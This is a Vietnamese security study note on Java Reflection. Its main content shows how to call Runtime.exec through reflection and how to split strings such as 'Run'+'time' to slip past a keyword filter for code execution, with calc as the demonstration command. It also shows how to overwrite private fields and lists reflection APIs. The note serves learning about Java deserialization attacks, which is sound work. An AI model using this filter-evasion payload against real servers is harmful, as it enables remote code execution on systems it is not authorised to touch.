> For the complete documentation index, see [llms.txt](https://duc193.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://duc193.gitbook.io/notes/web-security/java-deserialize/java-reflection.md).

# Java Reflection

## 1. Khái niệm về Java Reflection

**Reflection** là cơ chế cho phép chương trình Java **`truy cập`, `kiểm tra` và `thao tác cấu trúc của Class`** tại thời điểm đang chạy (**`runtime`**), thay vì phải biết trước mọi thứ tại thời điểm **`compile`**

Nó cho phép chúng ta:

* Lấy thông tin **`class`**
* Truy cập **`constructor`**
* Gọi **`method`**
* Đọc/ghi **`field`**
* Bỏ qua giới hạn truy cập (**`private`**, **`protected`**, **`final`**) trong `Class`

Về thiên hướng Security thì Java Reflection thường được dùng để bypass filter/sandbox hay dùng để lấy và thay đổi giá trị của các field của gadget chain trong **Java Deserialization**.

## 2. Bypass Filter

* Trong Java, mỗi class sau khi được `compile` và `JVM load` sẽ có một object `java.lang.Class` tương ứng để mô tả class đó.
* `java.lang.Class` chỉ chứa thông tin cấu trúc của class (field, method, constructor), không chứa các object instance.
* Và `java.lang.Class` là một API chung nên chúng ta có thể từ `java.lang.Class` gọi `java.lang.Runtime` để RCE.

Ví dụ, chúng ta có 1 đoạn code RCE :

```java
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class Main {

    public static void main(String[] args) throws IOException {
        System.out.println("Hello world!");
        try {
            Process process = Runtime.getRuntime().exec("calc");
            BufferedReader reader = new BufferedReader(
                    new InputStreamReader(process.getInputStream())
            );
            System.out.println(reader.readLine());
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}
```

Giả sử cái này là code chúng ta đưa server chạy. Mà server sẽ filter `Runtime` , `exec` thì chúng ta phải làm gì. Tất nhiên là tìm cách bypass rồi.

Đầu tiên, chúng ta cần `getClass` để call tới được API của `java.lang.Class`

<figure><img src="/files/laExd8qioRriMtBQU8Vi" alt=""><figcaption></figcaption></figure>

Đây rồi. Bây giờ muốn gọi `java.lang.Runtime` thì chỉ cần dùng `forName` `”java.lang.Runtime”`

<figure><img src="/files/vjYddgVaXGuWI6WXIE2w" alt=""><figcaption></figcaption></figure>

Giờ muốn gọi hàm `exec` thì chúng ta cần dùng `getMethod("exec",String.class)` Tại sao lại dùng `String.class`

Bởi vì, `getMethod` nó sẽ get tới hàm `exec` với type bạn truyền vào. Mà trong `Runtime` , exec có các type như này nên phải truyền đúng `String` để nó tìm đúng cái.

```java
public Process exec(String command)
public Process exec(String[] cmdarray)
public Process exec(String command, String[] envp)
public Process exec(String command, String[] envp, File dir)
```

<figure><img src="/files/05xLctIViyxHt5MYra7l" alt=""><figcaption></figcaption></figure>

Vì hàm `exec` là `instance method` nên phải get `Runtime instance` để call tới `exec` bằng cách sử dụng hàm `getRuntime`

Cách để gọi 1 function là dùng `.invoke(Java.lang.Class<?????>,"")` hoặc `.invoke(Java.lang.Class<?????>)` nếu ko tham số

Gọi `getRuntime()` bằng cách sử dụng `"".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke("".getClass().forName("java.lang.Runtime"))`

Payload hoàn chỉnh sử dụng Reflection API :

```java
import java.io.IOException;

public class Main {
    public static void main(String[] args) throws IOException {
        try {
            System.out.println("".getClass().forName("java.lang.Runtime")
                    .getMethod("exec", String.class)
                    .invoke("".getClass().forName("java.lang.Runtime")
                            .getMethod("getRuntime").invoke("".getClass().forName("java.lang.Runtime")),"calc"));
        } catch (Exception  e) {
            throw new RuntimeException(e);
        }
    }
}
```

<figure><img src="/files/d6voANQ43fg0RE6ZhXdV" alt=""><figcaption></figcaption></figure>

Vậy vấn đề filter `Runtime` , `exec` sẽ được giải quyết như sau :

```java
import java.io.IOException;

public class Main {
    public static void main(String[] args) throws IOException {
        try {
            System.out.println("".getClass().forName("java.lang.Run"+"time")
                    .getMethod("ex"+"ec", String.class)
                    .invoke("".getClass().forName("java.lang.Run"+"time")
                            .getMethod("getRun"+"time").invoke("".getClass().forName("java.lang.Run"+"time")),"calc"));
        } catch (Exception  e) {
            throw new RuntimeException(e);
        }
    }
}
```

V là bypass filter String thành công.

Tham khảo ở video cách dùng ở video :

* <https://www.youtube.com/watch?v=9wdycPTEcO4>

## 3. **Chỉnh sửa field**&#x20;

Ngoài việc bypass filter String thì chúng ta cũng có thể dùng API Reflection để chỉnh sửa các giá trị property private của một class.

Ví dụ `PrivatePerson.java` :

```java
public class PrivatePerson {
    private String name = "duc193";

    public void printName() {
        System.out.println(name);
    }
}
```

`Main.java` :

```java
import java.io.IOException;

public class Main {
    public static void main(String[] args) throws IOException {
        PrivatePerson person = new PrivatePerson();
        person.printName();
    }
}
```

thì khi chạy nó sẽ in ra

<figure><img src="/files/HN35VL3MHJimuNkRnigT" alt=""><figcaption></figcaption></figure>

Giờ muốn sửa thành `name` khác thì dùng Reflection.

Đầu tiên dùng `getDeclaredField` để lấy ra biến trong class.

```java
import java.io.IOException;
import java.lang.reflect.Field;
public class Main {
    public static void main(String[] args) throws IOException {
        PrivatePerson person = new PrivatePerson();
        Field f = null;
        try {
            f = person.getClass().getDeclaredField("name");
            System.out.println(f);
            person.printName();
        }
        catch (NoSuchFieldException e) {}
    }
}
```

ra được

<figure><img src="/files/dCDk6BHbMzzg1DcayPye" alt=""><figcaption></figcaption></figure>

Sau đó dùng `setAccessible` để cho phép truy cập `private field`

Dùng `f.setAccessible(true);`

Và dùng `.set()` để set value.

code :

```java
import java.io.IOException;
import java.lang.reflect.Field;
public class Main {
    public static void main(String[] args) throws IOException {
        PrivatePerson person = new PrivatePerson();
        Field f = null;
        try {
            f = person.getClass().getDeclaredField("name");
            f.setAccessible(true);
            f.set(person,"hacked");
            person.printName();
        }
        catch (NoSuchFieldException |IllegalAccessException  e) {}
    }
}
```

<figure><img src="/files/jauIvJQMeEB7JhdB25O0" alt=""><figcaption></figcaption></figure>

## 4. Các hàm phổ biến để kết hợp với Reflection Java&#x20;

Các phương pháp Reflection thông thường

#### 1. Get Class:

| **Methods**                         | **Description**            |
| ----------------------------------- | -------------------------- |
| `obj.getClass()`                    | Lấy Class từ object có sẵn |
| `ClassName.class`                   | Lấy Class tại compile-time |
| `Class.forName(String)`             | Load class bằng chuỗi      |
| `Class.forName(name, true, loader)` | Load + init class          |

#### 2. Khởi tạo Object :

| **Methods**                                    | **Description**                        |
| ---------------------------------------------- | -------------------------------------- |
| `Class.newInstance()`                          | Gọi constructor không tham số (public) |
| `getConstructor(...).newInstance(...)`         | Gọi public constructor                 |
| `getDeclaredConstructor(...).newInstance(...)` | Gọi private constructor                |
| Cần `setAccessible(true)`                      |                                        |

#### 3. lấy và gọi Method:

| **Methods**           | **Description**                                 |
| --------------------- | ----------------------------------------------- |
| `getMethod()`         | Lấy public method (kể cả kế thừa)               |
| `getDeclaredMethod()` | Lấy method khai báo trong class (kể cả private) |
| `invoke()`            | Thực thi method                                 |

#### Quy tắc `invoke`

| Loại method     | invoke(obj, ...)    |
| --------------- | ------------------- |
| Instance method | object              |
| Static method   | `null` hoặc `Class` |

#### 4. Nhóm truy cập private (Access Control Bypass)

| Methods               | Description              |
| --------------------- | ------------------------ |
| `setAccessible(true)` | Bỏ qua private/protected |
| `getDeclaredXxx()`    | Lấy private member       |

#### 5. Các method để lấy Field (thuộc tính) :

**Lấy Field :**

| Methods                    | Lấy được gì              | Có lấy field cha không |
| -------------------------- | ------------------------ | ---------------------- |
| `getFields()`              | Public fields            | Có                     |
| `getField(String)`         | 1 public field           | Có                     |
| `getDeclaredFields()`      | Tất cả field trong class | Không                  |
| `getDeclaredField(String)` | 1 field bất kỳ           | Không                  |

> Muốn lấy private → bắt buộc dùng `getDeclaredField`

**Set quyền truy cập Field :**

`field.setAccessible(true);`

Cho phép chúng ta quyền truy cập **field private.**

#### 6. Các phương pháp đọc & ghi Field :

**Field thường (instance field) :**

| Thao tác | Cách dùng               |
| -------- | ----------------------- |
| Đọc      | `field.get(obj)`        |
| Ghi      | `field.set(obj, value)` |

**Field static :**

| Thao tác | Cách dùng                |
| -------- | ------------------------ |
| Đọc      | `field.get(null)`        |
| Ghi      | `field.set(null, value)` |

Ref :

[https://eznp.github.io/2025/04/14/java安全基础-反射篇/](https://eznp.github.io/2025/04/14/java%E5%AE%89%E5%85%A8%E5%9F%BA%E7%A1%80-%E5%8F%8D%E5%B0%84%E7%AF%87/)

## 5. Reference&#x20;

* <https://www.javasec.org/javase/Reflection/Reflection.html>
* <https://tsublogs.wordpress.com/2023/02/15/javasecurity101-1-java-reflection/>
* <https://hackmd.io/@endy/r1sYTUYOh#Reflection-trong-Java>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://duc193.gitbook.io/notes/web-security/java-deserialize/java-reflection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
